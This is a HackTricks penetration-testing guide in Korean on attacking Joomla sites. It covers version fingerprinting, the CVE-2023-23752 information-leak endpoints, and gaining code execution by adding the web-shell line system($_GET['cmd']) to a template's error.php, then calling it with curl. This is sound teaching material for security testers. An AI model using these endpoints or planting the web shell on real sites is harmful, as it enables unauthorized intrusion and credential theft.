Joomla
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Joomla는 Joomla 설치에서 사용 중인 Joomla, PHP 및 데이터베이스 버전과 서버 운영 체제의 분류와 같은 익명의 사용 통계를 수집합니다. 이 데이터는 그들의 공개 API를 통해 쿼리할 수 있습니다.
메타 확인
robots.txt
README.txt
/administrator/manifests/files/joomla.xml에서 버전을 확인할 수 있습니다.
/language/en-GB/en-GB.xml에서 Joomla의 버전을 확인할 수 있습니다.
plugins/system/cache/cache.xml에서 대략적인 버전을 확인할 수 있습니다.
In 80,443 - Pentesting Web Methodology는 Joomla를 스캔할 수 있는 CMS 스캐너에 대한 섹션입니다.
버전 4.0.0에서 4.2.7까지는 인증되지 않은 정보 유출(CVE-2023-23752)에 취약하여 자격 증명 및 기타 정보를 덤프합니다.
사용자: http://<host>/api/v1/users?public=true
구성 파일: http://<host>/api/index.php/v1/config/application?public=true
MSF 모듈: scanner/http/joomla_api_improper_access_checks
또는 루비 스크립트: 51334
이 스크립트를 사용하여 로그인에 대한 무차별 대입을 시도할 수 있습니다.
관리자 자격 증명을 얻었다면 PHP 코드 조각을 추가하여 RCE를 수행할 수 있습니다. 우리는 템플릿을 사용자 정의하여 이를 수행할 수 있습니다.
Configuration
아래 왼쪽 하단의 **Templates
**를 클릭하여 템플릿 메뉴를 불러옵니다.
템플릿 이름을 클릭합니다. Template
열 헤더 아래의 **protostar
**를 선택합시다. 그러면 Templates: Customise
페이지로 이동합니다.
마지막으로 페이지를 클릭하여 페이지 소스를 불러올 수 있습니다. error.php
페이지를 선택합시다. 다음과 같이 코드 실행을 위한 PHP 원라이너를 추가할 것입니다:
system($_GET['cmd']);
저장 및 닫기
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
JoomSploit: Joomla 취약점 스크립트로 XSS를 RCE 또는 기타 치명적인 취약점으로 상승시킵니다. 자세한 내용은 이 게시물을 확인하세요. Joomla 버전 5.X.X, 4.X.X 및 3.X.X를 지원하며 다음을 허용합니다:
권한 상승: Joomla에 사용자를 생성합니다.
(RCE) 내장 템플릿 편집: Joomla의 내장 템플릿을 편집합니다.
(커스텀) 사용자 정의 익스플로잇: 서드파티 Joomla 플러그인을 위한 사용자 정의 익스플로잇.
8kSec Academy에서 모바일 보안 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요:
AWS 해킹 배우고 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우고 연습하기: HackTricks Training GCP Red Team Expert (GRTE)